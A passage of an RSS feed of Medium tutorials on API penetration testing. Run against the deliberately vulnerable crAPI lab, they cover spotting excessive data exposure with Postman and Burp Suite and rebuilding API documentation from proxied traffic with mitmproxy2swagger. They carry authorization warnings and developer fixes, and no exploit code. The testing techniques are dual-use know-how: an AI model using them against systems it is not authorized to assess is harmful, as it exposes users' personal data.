rest, and disable TRACE at the server.</p><h4>Bonus: injection alerts need proof</h4><p>This isn’t a misconfiguration, but it produces many false positives. A time-based SQL injection alert can be triggered by a slow server, and a reflected-input alert can appear in a response that is never rendered. Reproduce it, identify the exact parameter, and show a difference in behavior before you report it.</p><h3>Conclusion</h3><p>Scanners like Nikto and ZAP quickly surface API misconfigurations, but every alert needs checking before it becomes a finding. Reproduce it, judge whether it matters for an API, and fix the confirmed issues at the gateway or server. Then re-scan to prove the fix worked.</p><h3>Further Reading</h3><ul><li><a href="https://owasp.org/API-Security/">OWASP API Security Top 10</a></li><li><a href="https://www.zaproxy.org/docs/">ZAP documentation</a></li><li><a href="https://github.com/sullo/nikto">Nikto on GitHub</a></li><li><a href="https://testssl.sh/">testssl.sh</a></li><li><a href="https://github.com/OWASP/crAPI">OWASP crAPI (practice target)</a></li></ul><h3>Feedback and Improvements</h3><p>This workflow is based on my learning and hands-on practice. There may be mistakes, missing steps, or better ways to approach certain parts. If you notice any technical mistakes or incorrect steps, please let me know in the comments or by DM. Your feedback is genuinely appreciated.</p><h3>Discussion</h3><ul><li>Which scanner alert did you first think was critical and later found to be a false positive?</li><li>Do you scan APIs with a spec import, or do you rely on crawling?</li><li>Which misconfiguration fix gave you the biggest security gain for the least effort?</li></ul><p>Share your experiences in the comments — I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78efe89015ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API-P-2: How to Find Excessive Data Exposure Using Postman and Burp Suite]]></title>
            <link>https://bilal423.medium.com/api-p-2-how-to-find-excessive-data-exposure-using-postman-and-burp-suite-e75bbe598b64?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/e75bbe598b64</guid>
            <category><![CDATA[api-penetration-testing]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[excessive-data-exposure]]></category>
            <category><![CDATA[api3]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Tue, 03 Nov 2026 08:34:34 GMT</pubDate>
            <atom:updated>2026-11-05T04:49:40.937Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical walkthrough of API documentation analysis, authentication, endpoint discovery, and identifying sensitive information hidden behind API responses.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdEhM7WJrYmJSLQtG1FIbQ.png" /></figure><h3>Introduction: The Information You Can’t See in the Browser</h3><p>Have you ever inspected a web application and wondered what information exists behind the interface?</p><p>A user profile might display only a username and profile picture. But the API responsible for loading that profile could return much more: email addresses, internal IDs, account roles, or other information that the frontend never displays.</p><p>That difference is where API security testing becomes interesting.</p><p>In this article, we’ll explore how to use API documentation, Postman, and Burp Suite to identify potentially sensitive information exposed through API responses.</p><p>The objective is straightforward: understand how an API works, authenticate correctly, identify interesting endpoints, and inspect the data returned by the server.</p><p>We’ll use crAPI, an intentionally vulnerable API environment, as our practical example.</p><p><strong>Important:</strong> Perform these tests only against applications you own or have explicit authorization to assess.</p><h3>1. Start With API Documentation</h3><p>Before sending random requests to an API, take some time to understand how it is supposed to work.</p><p>API documentation provides a starting point for identifying functionality and understanding the expected request structure.</p><p>When reviewing documentation, focus on four things:</p><ul><li>API overview</li><li>Available endpoints</li><li>Authentication requirements</li><li>Request parameters and response structures</li></ul><p>The overview usually explains how to connect to the API and may contain information about authentication, rate limiting, and supported functionality.</p><p>The endpoint documentation is particularly useful because it tells you what actions the API supports.</p><p>For example, you might find endpoints related to:</p><ul><li>User account management</li><li>Profile information</li><li>Uploading or downloading files</li><li>Retrieving application data</li><li>Community posts</li><li>Account settings</li></ul><p>Each endpoint generally combines an HTTP method with a URL path. Here are some common examples:</p><pre>HTTP Method   Typical Purpose<br>-----------   -------------------------------<br>GET           Retrieve information<br>POST          Submit data or create resources<br>PUT           Update or replace resources<br>DELETE        Remove resources</pre><p>The exact behavior depends on the API implementation, so don’t assume every endpoint follows these conventions perfectly.</p><h4>Understand API documentation syntax</h4><p>Documentation often uses placeholders to represent values that must be supplied in a request.</p><p>For example, the first two placeholders below both indicate that the endpoint expects a user ID. A real request might look like the third line:</p><pre>/user/:id<br>/user/{id}<br><br>ex:- /user/2727</pre><p>Similarly, a placeholder can become a real request:</p><pre>/account/{username}<br><br>ex:- /account/scuttleph1sh</pre><p>Other documentation conventions are also worth understanding:</p><pre>Convention                             Meaning<br>--------------------                   --------------------------------------<br>{id} or :id             : or {}        A variable value that must be supplied<br>[parameter]             []             Often indicates an optional parameter<br>blue || green || red    ||             Represents alternative possible values</pre><p>Understanding these conventions helps you create valid requests and identify parameters worth testing.</p><h3>2. Import API Documentation Into Postman</h3><p>Once you understand the API documentation, the next step is to make the endpoints easier to explore.</p><h4>Review the specification in Swagger Editor</h4><p>You can inspect the specification in Swagger Editor: <a href="https://editor.swagger.io/">https://editor.swagger.io/</a></p><blockquote>To get to know more abooout it look at this <a href="https://bilal423.medium.com/reverse-engineering-an-api-building-api-documentation-with-postman-and-mitmproxy2swagger-d8345f12d144?sharedUserId=bilal423">article</a> .</blockquote><p>In Swagger Editor, choose <strong>File → Import file</strong> and select the crAPI specification. After importing it, you’ll see the available API paths.</p><p>In the crAPI example, several endpoint groups are available:</p><pre>/identity<br>/community<br>/workshop</pre><p>Expand the endpoints and review their details. Pay attention to:</p><ul><li>HTTP method</li><li>Endpoint path</li><li>Required parameters</li><li>Request headers</li><li>Request body</li><li>Example response</li></ul><p>This gives you a clearer picture of how the application communicates with its backend.</p><h4>Import the specification into Postman</h4><p>Instead of manually creating every request, you can let Postman build a collection from the specification:</p><ol><li>In Postman, select <strong>Import</strong>.</li><li>Upload the crAPI OpenAPI (Swagger) specification file.</li><li>Confirm the import.</li></ol><p>Postman will generate a collection containing the documented endpoints, organized and ready to use during testing.</p><h3>3. Configure Your Postman Collection</h3><p>Before using the collection, check its variables. When working with a new Postman collection, I recommend starting with the collection editor.</p><p>Select the collection, open its menu, and choose <strong>Edit</strong>. Then navigate to the <strong>Variables</strong> tab.</p><p>In the crAPI example, the collection uses a variable called baseUrl. This variable determines the target API URL.</p><p>For a local crAPI installation, the value should match your local environment, such as http://localhost:8888, which is crAPI&#39;s typical default.</p><p>Make sure the <strong>Current Value</strong> matches the environment you are testing, then save the collection.</p><p>This small step prevents unnecessary troubleshooting later. If the base URL is incorrect, your requests may fail even when the endpoint itself is valid.</p><h3>4. Authenticate to the API</h3><p>Now that the collection is configured, we need to authenticate. Many APIs require authentication before allowing access to user-specific information.</p><p>In crAPI, authentication is performed through the following endpoint:</p><pre>POST /identity/api/auth/login</pre><p>Open the login request in Postman, update the email and password values with the credentials of your own registered crAPI account, and send the request.</p><p>After successful authentication, the response should contain a Bearer token. This token represents your authenticated session and is used to authorize subsequent requests.</p><h4>Configure Bearer token authentication</h4><ol><li>Copy the token from the authentication response.</li><li>Open your Postman collection editor and navigate to the <strong>Authorization</strong> tab.</li><li>Set <strong>Type</strong> to <strong>Bearer Token</strong>. (or what we have in the request)</li><li>Paste your token into the token field.</li><li>Save the collection.</li></ol><p>Postman will now apply this authorization to requests in the collection, as long as each request’s Authorization tab is set to <em>Inherit auth from parent</em>.</p><p>Keep in mind that tokens expire. If requests start returning 401 Unauthorized, log in again and update the token.</p><p>At this point, you have completed an important part of API testing: you understand the endpoints, configured the collection, and obtained valid authentication.</p><p>Now comes the interesting part.</p><h3>5. Understand Excessive Data Exposure</h3><p>Excessive Data Exposure was listed as API3:2019 in the OWASP API Security Top 10. In the 2023 edition, it was merged with Mass Assignment into API3:2023, Broken Object Property Level Authorization.</p><p>The core problem occurs when an API returns sensitive information that the requesting user should not receive.</p><p>Imagine requesting a user’s basic profile information. You expect something like:</p><pre>{<br>  &quot;id&quot;: &quot;5501&quot;,<br>  &quot;fname&quot;: &quot;Red&quot;,<br>  &quot;lname&quot;: &quot;cat&quot;<br>}</pre><p>Instead, the API returns:</p><pre>{<br>  &quot;id&quot;: &quot;5501&quot;,<br>  &quot;fname&quot;: &quot;Red&quot;,<br>  &quot;lname&quot;: &quot;cat&quot;,<br>  &quot;privilege&quot;: &quot;user&quot;,<br>  &quot;representative&quot;: {<br>    &quot;name&quot;: &quot;Bilal&quot;,<br>    &quot;id&quot;: &quot;2203&quot;,<br>    &quot;email&quot;: &quot;bilal@gmail.com&quot;,<br>    &quot;privilege&quot;: &quot;admin&quot;,<br>    &quot;MFA&quot;: false<br>  }<br>}</pre><p>The response includes information about an administrator associated with the account. The requesting user may have no legitimate reason to access the administrator’s email address, role, or multifactor authentication (MFA) status.</p><p>The problem isn’t simply that the response contains many fields.</p><p><strong>The real security issue is that the API exposes sensitive information to someone who should not have access to it.</strong></p><p>That distinction matters. A large API response isn’t automatically vulnerable. A response becomes a security concern when it contains sensitive information that the requester isn’t authorized to receive.</p><h3>6. Identify Interesting API Endpoints</h3><p>Now let’s apply this concept to crAPI.</p><p>When reviewing API documentation, focus on endpoints that retrieve information. GET requests are a useful starting point because they commonly return data from the backend. However, don’t limit your testing exclusively to GET requests. Other methods can also return sensitive information.</p><p>Start by reviewing the available endpoint groups.</p><h4>Identity endpoints</h4><p>Identity-related endpoints often deal with user accounts, profiles, authentication, and account information. These endpoints can help you understand the application’s data structure.</p><p>In crAPI, one interesting request is:</p><pre>GET /identity/api/v2/user/dashboard</pre><p>The purpose of this endpoint is to populate a user’s dashboard. The response contains information associated with the authenticated user.</p><p>Fields to note include:</p><pre>id<br>name<br>email<br>number<br>available_credit<br>role</pre><p>These field names help you understand what information the application stores and returns.</p><p>However, seeing a sensitive-looking field in your own account’s response doesn’t automatically indicate a vulnerability. The next step is to understand where that information is supposed to be accessible.</p><h4>Other endpoints</h4><p>In crapi it’s community functionality that is the another interesting area. Users can create posts, view other people’s posts, and interact with content. That means community endpoints may return information associated with multiple users.</p><p>In crAPI, the following endpoint is particularly interesting:</p><pre>GET /community/api/v2/community/posts/recent</pre><p>The endpoint retrieves recent community posts. When reviewing its response, look for fields associated with the post author, for example:</p><ul><li>Nickname</li><li>Email</li><li>Vehicle ID</li><li>User ID</li></ul><p>These fields provide useful insight into the API’s response structure. But remember: the presence of a field isn’t enough to establish a vulnerability. You need to determine</p><ol><li>whether the information is sensitive?</li><li>whether the requesting user should be allowed to access it.</li></ol><h3>7. Compare the API Response With the Web Application</h3><p>This is one of the most important parts of the testing process.</p><p>A web application might display a community post like this:</p><pre>Post:   My vehicle needs servicing.<br>Author: Bilal</pre><p>From the browser, you might only see the author’s nickname. But the API response could contain additional information about the author:</p><pre>{<br>  &quot;author&quot;: {<br>    &quot;nickname&quot;: &quot;Bilal&quot;,<br>    &quot;email&quot;: &quot;Bilal@example.com&quot;,<br>    &quot;vehicleid&quot;: &quot;12345&quot;<br>  }<br>}</pre><p>The frontend might display only the nickname while silently ignoring the email address and Vehicle ID. That doesn’t mean the information is protected. If the backend sends the complete JSON response to the client, a user can inspect the response directly.</p><p>This is why frontend visibility and backend data exposure are two different things.</p><p><strong>Hiding information in the interface doesn’t protect information that the API has already delivered to the client.</strong></p><p>The backend must enforce the appropriate access controls and return only the information the requester is authorized to receive.</p><h3>8. Inspect API Responses Using Burp Suite</h3><p>Postman is useful for understanding the API and sending documented requests. Burp Suite helps you inspect the actual HTTP traffic generated by the application. For this example, we’ll use Burp Suite’s Repeater.</p><h4>Step 1: Capture the request</h4><p>Use the crAPI application and navigate to the community forum. Allow the application to load its recent posts.</p><p>If you’re using Burp Suite as your proxy, the corresponding API request should appear in the HTTP history. Look for:</p><pre>GET /community/api/v2/community/posts/recent</pre><h4>Step 2: Send the request to Repeater</h4><p>Select the request and send it to Repeater. This allows you to inspect and resend the request while keeping its relevant headers and parameters.</p><p>Make sure the request keeps a valid Authorization: Bearer ... header. Without it, the API will reject the request.</p><h4>Step 3: Review the response</h4><p>Send the request and inspect the response body. Compare the returned information with what the browser displays.</p><p>Look for unexpected sensitive fields, such as:</p><ul><li>Email addresses</li><li>User IDs</li><li>Vehicle IDs</li><li>Account information</li><li>Internal identifiers</li></ul><p>In the crAPI example, the response reveals information about users that isn’t visible in the community forum interface.</p><p>This is the key observation: the API provides the information directly, even though the frontend doesn’t display it.</p><h4>Step 4: Determine whether the information is sensitive</h4><p>Don’t stop after finding an interesting field. Ask yourself:</p><ul><li>Is this information sensitive?</li><li>Does the requesting user have a legitimate reason to access it?</li><li>Is the information exposed to unauthorized users?</li><li>Could the information create additional security or privacy risks?</li></ul><p>This is how you move from simply inspecting API responses to identifying a meaningful security issue.</p><h3>9. A Practical Testing Workflow</h3><p>Here’s a simple workflow you can follow during an authorized API security assessment:</p><ol><li>Identify the target API and its documentation.</li><li>Review the available endpoints and HTTP methods.</li><li>Import the API specification into Postman.</li><li>Configure the base URL and collection variables.</li><li>Authenticate using a valid account.</li><li>Configure Bearer token authorization.</li><li>Identify endpoints that return user-related or business-related information.</li><li>Send the requests and inspect their responses.</li><li>Compare the API response with the information displayed in the frontend.</li><li>Identify sensitive fields that are unnecessarily exposed.</li><li>Verify the impact using only authorized test accounts and data.</li><li>Document the affected endpoint, exposed information, and security impact.</li></ol><p>This workflow gives you a structured approach instead of randomly testing endpoints.</p><h4><strong>What Should Developers Do to Prevent Excessive Data Exposure?</strong></h4><p>The most effective solution is to control the information returned by the API. Developers should:</p><ul><li>Return only the fields required by the requesting client.</li><li>Avoid serializing complete database objects into API responses.</li><li>Enforce authorization on the server side.</li><li>Use explicit response schemas or DTOs.</li><li>Avoid relying on frontend filtering to protect sensitive information.</li><li>Review API responses for unnecessary personal or internal information.</li><li>Test API responses using accounts with different authorization levels.</li></ul><p>For example, a community post might need only the author’s public nickname. There may be no reason to include the author’s email address, internal account ID, or vehicle information. The API should return only what the feature actually requires.</p><h3>Conclusion</h3><p>Excessive Data Exposure rarely announces itself. It hides inside perfectly legitimate requests: you log in, ask for a profile or a list of posts, and the response carries more than the interface ever shows, such as email addresses, internal IDs, or an administrator’s role.</p><p>The workflow in this article is deliberately simple. Read the documentation, import it into Postman, authenticate, and send the requests that return user data. Then use Burp Suite to inspect what the backend actually sends and compare it with what the browser displays. The gap between the two is where these findings live.</p><p>Finish with the question that turns an observation into a finding: should this requester have access to this field? A large response is not a vulnerability by itself. Sensitive data delivered to someone who isn’t authorized to receive it is.</p><p><strong>The takeaway:</strong> Don’t judge an API by what the browser displays. Inspect what the backend actually sends, understand who should have access to that information, and determine whether the response exposes sensitive data unnecessarily.</p><p>This is an area I will continue exploring as part of my API security research and penetration testing practice.</p><h3>Further Reading</h3><ul><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/">OWASP API Security Top 10 2023: API3 Broken Object Property Level Authorization</a></li><li><a href="https://github.com/OWASP/crAPI">crAPI — Official GitHub Repository</a></li><li><a href="https://portswigger.net/burp/documentation/desktop/tools/repeater">Burp Suite Repeater Documentation</a></li><li><a href="https://editor.swagger.io/">Swagger Editor</a></li><li><a href="https://learning.postman.com/">Postman Documentation</a></li></ul><h3>Feedback and Improvements</h3><p>This workflow is based on my learning and hands-on practice. There may be mistakes, missing steps, or better ways to approach certain parts. If you notice any technical mistakes or incorrect steps, please let me know in the comments or by DM. Your feedback is genuinely appreciated.</p><h3>Discussion</h3><p>Have you ever found sensitive data in an API response that the web application never displayed?</p><p>When testing for excessive data exposure, do you start with documented endpoints in Postman, raw traffic in Burp Suite, or a combination of both?</p><p>I’d be interested in hearing about other tools and workflows for analyzing API responses.</p><p>Share your experiences in the comments — I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e75bbe598b64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API-P-1: Reverse Engineering an API: Building API Documentation with Postman and mitmproxy2swagger]]></title>
            <link>https://bilal423.medium.com/reverse-engineering-an-api-building-api-documentation-with-postman-and-mitmproxy2swagger-d8345f12d144?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8345f12d144</guid>
            <category><![CDATA[postman]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[api-penetration-testing]]></category>
            <category><![CDATA[reverse-engineering-apis]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 09:54:49 GMT</pubDate>
            <atom:updated>2026-11-05T04:50:07.122Z</atom:updated>
            <content:encoded><![CDATA[<p><em>API 1 — A practical guide to discovering undocumented API endpoints, capturing HTTP traffic, generating OpenAPI specifications, and preparing API collections for penetration testing.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*saTYUGU6NCqw5laqyVM9Ag.png" /></figure><h3>Introduction</h3><p>Have you ever started an API penetration test and realized that you don’t have access to API documentation?</p><p>No Swagger UI. No OpenAPI specification. No Postman collection. Just a web application and the APIs communicating behind it.</p><p>This is a common challenge during API security assessments.</p><p>Before testing an API for vulnerabilities, we need to understand how it works. We need to identify its endpoints, HTTP methods, parameters, request structures, authentication mechanisms, and application functionality. Without this information, testing becomes inefficient, and important parts of the API attack surface may remain undiscovered.</p><p>Recently, I explored two approaches to reverse engineering APIs:</p><ul><li>Manual API request collection using Postman’s Capture requests feature</li><li>Automated API documentation generation using mitmproxy2swagger</li></ul><p>Both approaches help us understand how an application communicates with its backend and prepare a structured API collection for further security testing. In this article, I’ll walk through both approaches step by step.</p><p><strong>Important:</strong> Only test applications you own or have written permission to test. The application used in this article, crAPI, is an intentionally vulnerable lab built for exactly this kind of practice.</p><h3>Part 1: Building an API Collection Using Postman</h3><h4>Step 1: Launch Postman</h4><p>Start Postman. On a Linux environment, you can launch it from the terminal:</p><pre>postman</pre><p>Create a new workspace to organize the requests and collections.</p><h4>Step 2: Enable Request Capture</h4><p>Postman’s <strong>Capture requests</strong> feature lets us capture HTTP requests generated by browser interactions. To configure it:</p><ol><li>Open Postman.</li><li>Create a new workspace.</li><li>Locate <strong>Capture requests</strong> at the bottom of the Postman interface.</li><li>Open the capture settings.</li><li>Enable the proxy option inside Capture requests.</li><li>Configure the proxy port.</li></ol><p>For this exercise, the proxy port is:</p><pre>5050</pre><p>The proxy port must match the configuration used by your browser proxy.</p><h4>Step 3: Configure the Browser Proxy</h4><p>Now we need to route browser traffic through Postman. I used FoxyProxy to configure the browser proxy. The configuration should point to the Postman proxy listener:</p><pre>127.0.0.1:5050</pre><p>The exact host and port depend on your environment. Once the browser proxy is configured:</p><ol><li>Enable the browser proxy.</li><li>Return to Postman.</li><li>Add the target URL under the <strong>URL must contain</strong> field.</li><li>Click <strong>Start Capture</strong>.</li></ol><p>Two things commonly cause an empty capture, so check them before moving on:</p><ul><li><strong>Localhost targets:</strong> If the target runs on localhost (like crAPI), browsers may bypass the proxy. In Firefox, set network.proxy.allow_hijacking_localhost to true in about:config, or access the app through your LAN IP or a hostname instead.</li><li><strong>HTTPS targets:</strong> Install the proxy’s CA certificate in your browser. Otherwise, HTTPS requests won’t be captured or will show certificate errors.</li></ul><p>At this point, Postman is ready to capture requests generated by the browser.</p><h4>Step 4: Explore the Application</h4><p>This is one of the most important steps in the entire process. Simply opening the application and capturing the initial requests will not provide a complete picture of its API. We need to explore the application thoroughly.</p><p>For the crAPI application, I explored different functionalities, including:</p><ul><li>User registration</li><li>Authentication and login</li><li>Profile management</li><li>Profile picture uploads</li><li>Video uploads</li><li>Email changes</li><li>Video modification and renaming</li><li>Sharing videos with the community</li><li>Community and forum functionality</li><li>Other available application features</li></ul><p>The idea is simple: every application feature we interact with may generate one or more API requests. If we skip a feature, we may miss the endpoints associated with it.</p><p>For example, exploring only the login and profile pages may reveal authentication and profile-related endpoints, but it will not necessarily reveal endpoints associated with community functionality or video sharing. This creates blind spots during API security testing.</p><h4>Step 5: Capture and Review the Requests</h4><p>While exploring the application, Postman captures the HTTP requests generated by our interactions. Once the application has been thoroughly explored:</p><ol><li>Return to Postman.</li><li>Stop the request capture.</li><li>Open the captured requests.</li><li>Review the available HTTP traffic.</li></ol><p>At this stage, we may have captured a mixture of API requests, static resources, application assets, authentication-related requests, and other unrelated traffic. We need to identify which requests are relevant to API testing.</p><h4>Step 6: Create a Postman Collection</h4><p>Create a new collection in Postman and name it: (Any name)</p><pre>crAPI Proxy Collection</pre><p>Navigate to the captured requests and select the ones you want to add. Use the <strong>Add to Collection</strong> option and select your newly created collection.</p><h4>Step 7: Organize the Collection</h4><p>A collection containing hundreds of requests without proper organization can quickly become difficult to manage. I recommend organizing requests based on application functionality or API endpoint groups. For example:</p><pre>crAPI Proxy Collection<br>│<br>├── Authentication<br>│   ├── Login<br>│   ├── Registration<br>│   └── Password Reset<br>│<br>├── User Profile<br>│   ├── Get Profile<br>│   ├── Update Profile<br>│   └── Upload Profile Picture<br>│<br>├── Videos<br>│   ├── Upload Video<br>│   ├── Update Video<br>│   └── Share Video<br>│<br>├── Community<br>│   ├── Get Posts<br>│   ├── Create Post<br>│   └── Update Post<br>│<br>└── Other API Endpoints</pre><p>This is only an illustrative organization. The actual folders should reflect the endpoints discovered in the application.</p><p>Rename requests to make their functionality clear. Instead of:</p><pre>Request 1<br>Request 2<br>Request 3</pre><p>Use:</p><pre>GET - User Profile<br>POST - Update User Profile<br>POST - Upload Profile Picture</pre><p>Remove unrelated URLs that do not belong to the API collection.</p><blockquote>Result of Part 1</blockquote><p>We now have a structured Postman collection containing API requests discovered through manual application exploration. This collection can be used as the foundation for further API security testing.</p><h3>Part 2: Automated API Documentation Using mitmproxy2swagger</h3><p>Manually building a Postman collection is useful, but it can become time-consuming when an application exposes a large number of endpoints. This is where automated API documentation helps.</p><p>The workflow uses two tools:</p><ul><li><strong>mitmweb:</strong> Captures traffic and lets us inspect it.</li><li><strong>mitmproxy2swagger:</strong> Converts captured traffic into an OpenAPI specification.</li></ul><p>The official mitmproxy2swagger project describes this process as converting captured HTTP traffic into OpenAPI 3.0 documentation.</p><p>Source: <a href="https://github.com/alufers/mitmproxy2swagger">mitmproxy2swagger GitHub Repository</a></p><h4>Step 1: Launch mitmweb</h4><p>Open a terminal and run:</p><pre>mitmweb</pre><p>mitmweb provides a web interface for inspecting captured HTTP traffic. By default, the proxy listener runs on port <strong>8080</strong> and the web interface runs on port <strong>8081</strong>.</p><p><strong>Important:</strong> Always check the actual listener ports printed by mitmweb when it starts. Ports can differ depending on configuration.</p><h4>Step 2: Configure FoxyProxy</h4><p>Configure FoxyProxy to route browser traffic through the mitmweb proxy listener:</p><pre>127.0.0.1:8080</pre><p>Once configured:</p><ol><li>Enable the mitmproxy browser proxy.</li><li>Visit http://mitm.it through the proxy and install the mitmproxy CA certificate, so HTTPS traffic can be captured.</li><li>Open the target application.</li><li>Start interacting with the application.</li></ol><p>The browser’s HTTP requests will now pass through mitmweb. The same localhost caveat from Part 1 applies here: if the target is on localhost, adjust the Firefox setting or use a LAN IP or hostname.</p><h4>Step 3: Explore the Application</h4><p>As with Postman, application exploration is essential. Navigate through the available features and perform the actions that generate API requests, such as:</p><ul><li>Login</li><li>Profile updates</li><li>Data retrieval</li><li>Form submissions</li><li>File uploads</li><li>Account management</li><li>Other application functionality</li></ul><p>The more functionality we explore, the more complete our captured API traffic becomes.</p><h4>Step 4: Review the Captured Traffic</h4><p>Open the mitmweb interface. Use the URL printed in your terminal when mitmweb starts, which includes an access token. By default it looks like this:</p><pre>http://127.0.0.1:8081</pre><p>Review the captured requests and responses. Pay attention to:</p><ul><li>Request URLs</li><li>HTTP methods</li><li>Query parameters</li><li>Request headers</li><li>Request bodies</li><li>Response bodies</li><li>Authentication information</li></ul><p>This helps us identify the API endpoints and understand the structure of the captured traffic.</p><h4>Step 5: Save the Captured Traffic</h4><p>Once application exploration is complete:</p><ol><li>Return to the mitmweb interface.</li><li>Click <strong>File → Save</strong>.</li><li>Save the captured traffic.</li></ol><p>The exported file is commonly referred to as flows. It contains the captured traffic that mitmproxy2swagger will process.</p><h4>Step 6: mitmproxy2swagger</h4><p>Install the tool with pipx:</p><pre>pipx install mitmproxy2swagger</pre><p>On newer Linux distributions, plain pip install may fail with an &quot;externally-managed-environment&quot; error. Use pipx or a virtual environment instead. Installation and usage instructions are available in the <a href="https://github.com/alufers/mitmproxy2swagger">official repository</a>.</p><h4>Step 7: Generate the Initial OpenAPI Specification</h4><p>Now we convert the captured traffic into an OpenAPI specification. Run:</p><pre>mitmproxy2swagger -i ~/Downloads/flows \<br>  -o spec.yml -p http://target.com/api -f flow</pre><p>Don’t use sudo. It creates root-owned output files that cause permission problems later. If you get permission errors, write to a folder you own.</p><p><strong>Understanding the command</strong></p><pre>-i  Captured traffic input file<br>-o  Output OpenAPI YAML file<br>-p  API base URL or prefix<br>-f  Input format (flow = mitmproxy flow file)</pre><p>The -p API prefix is particularly important. It tells mitmproxy2swagger which base URL belongs to the API being documented. For example, if the captured traffic contains:</p><pre>https://api.example.com/v1/users<br>https://api.example.com/v1/profile<br>https://api.example.com/v1/orders</pre><p>The API prefix could be:</p><pre>https://api.example.com/v1</pre><p>The correct prefix should be determined by reviewing the actual captured requests.</p><h4>Step 8: Review the Generated YAML File</h4><p>The initial execution generates a YAML specification containing discovered API paths. Open the file:</p><pre>nano spec.yml</pre><p>During the initial generation, mitmproxy2swagger marks detected paths with ignore:. For example:</p><pre>x-path-templates:<br>  - ignore:/users<br>  - ignore:/profile<br>  - ignore:/orders</pre><p>These markers indicate paths that have not yet been selected for inclusion. A path without the ignore: prefix is included in the spec.</p><h4>Step 9: Select the API Endpoints</h4><p>Review the generated paths and identify the endpoints that belong in your API documentation. If you want to include /users, remove only its ignore: prefix:</p><pre>x-path-templates:<br>  - /users<br>  - ignore:/profile<br>  - ignore:/orders</pre><p>Repeat this for the endpoints you want to include.</p><p><strong>Path templating:</strong> If you see ID-based paths like this:</p><pre>- ignore:/users/123<br>  - ignore:/users/456</pre><p>change one to a template and leave the rest ignored:</p><pre>- /users/{id}</pre><p>This turns IDs into parameters, which makes the final specification far more useful.</p><p><strong>Important:</strong> Preserve the YAML indentation and structure. Removing the wrong spacing or modifying the list formatting can cause parsing errors. The official documentation explains this two-pass workflow in detail.</p><p>Source: <a href="https://github.com/alufers/mitmproxy2swagger">mitmproxy2swagger Usage Instructions</a></p><h4>Step 10: Generate the Final Specification</h4><p>After selecting the endpoints, run mitmproxy2swagger again using the same input and output files:</p><pre>mitmproxy2swagger \<br>  -i ~/Downloads/flows \<br>  -o spec.yml \<br>  -p http://target.com/api \<br>  -f flow \<br>  --examples</pre><p>This second execution processes the selected endpoints and generates the API specification. The --examples option adds captured request and response examples where supported.</p><p><strong>Security consideration:</strong> The flows file, the generated spec, and the imported Postman collection can all contain tokens, cookies, passwords, and personal data. Sanitize them before sharing them or committing them to a repository.</p><h4>Step 11: Validate the OpenAPI Specification</h4><p>Generating a YAML file does not automatically mean the specification is correct. We need to validate it. Open <a href="https://editor.swagger.io/">Swagger Editor</a>, then:</p><ol><li>Click <strong>File → Import file</strong>.</li><li>Select spec.yml.</li><li>Review the generated API documentation.</li><li>Check for YAML formatting issues.</li><li>Review the generated endpoints and request structures.</li></ol><p>Swagger Editor helps identify formatting problems and provides a visual representation of the API.</p><h4>Step 12: Import the Specification into Postman</h4><p>Once the OpenAPI specification is ready:</p><ol><li>Open Postman.</li><li>Click <strong>Import</strong>.</li><li>Select the generated spec.yml file.</li><li>Import it as a collection.</li></ol><p>Postman will create requests based on the imported specification. You can then organize the collection by functionality and endpoint groups.</p><blockquote>Result of Part 2</blockquote><p>We now have an OpenAPI specification generated from captured HTTP traffic and a corresponding Postman collection. This significantly reduces the effort required to manually document every API request.</p><h3>Part 3: Using the API Collection for Security Testing (Preview of Upcoming Articles)</h3><p>Once the API collection is prepared, the next step is to analyze the endpoints from a security perspective. The collection becomes more than documentation. It becomes a testing inventory.</p><p>Here are the areas I plan to cover in upcoming articles:</p><ol><li>Authentication testing</li><li>Authorization testing</li><li>Business logic testing</li><li>Parameter and request analysis</li></ol><h3>Part 4: Important Lessons Learned</h3><p><strong>1. API discovery depends on application exploration.</strong> Capturing traffic is only one part of the process. The quality of the discovered API depends heavily on how thoroughly we explore the application.</p><p><strong>2. Automated documentation is not a replacement for manual analysis.</strong> Tools can help generate API specifications, but they cannot guarantee that every endpoint has been discovered. Manual review is still necessary.</p><p><strong>3. A generated specification is a starting point.</strong> The OpenAPI specification may contain incomplete information, inferred parameters, or missing details. Review it before using it as your primary testing reference.</p><p><strong>4. Organization matters.</strong> A poorly organized API collection becomes difficult to use during an assessment. Grouping requests by functionality makes it easier to understand the application and track testing coverage.</p><p><strong>5. API documentation improves testing efficiency.</strong> A structured collection helps us see what has been tested, what remains unexplored, and which endpoints may need deeper analysis.</p><h3>Conclusion</h3><p>Reverse engineering an undocumented API can seem difficult at first, especially when the application exposes a large number of endpoints. However, combining manual traffic capture with automated API documentation makes the process far more manageable.</p><p>Postman’s Capture requests feature provides a practical way to capture and organize API requests through application interactions. mitmproxy2swagger converts captured HTTP traffic into an OpenAPI specification, which can then be validated and imported into Postman.</p><p>The most important takeaway for me is that effective API penetration testing starts with understanding the application and its API attack surface. A well-documented API collection provides a strong foundation for deeper testing of authentication, authorization, business logic, and other API security issues.</p><p>This is an area I will continue exploring as part of my API security research and penetration testing practice.</p><h3>Further Reading</h3><ul><li><a href="https://github.com/alufers/mitmproxy2swagger">mitmproxy2swagger — Official GitHub Repository</a></li><li><a 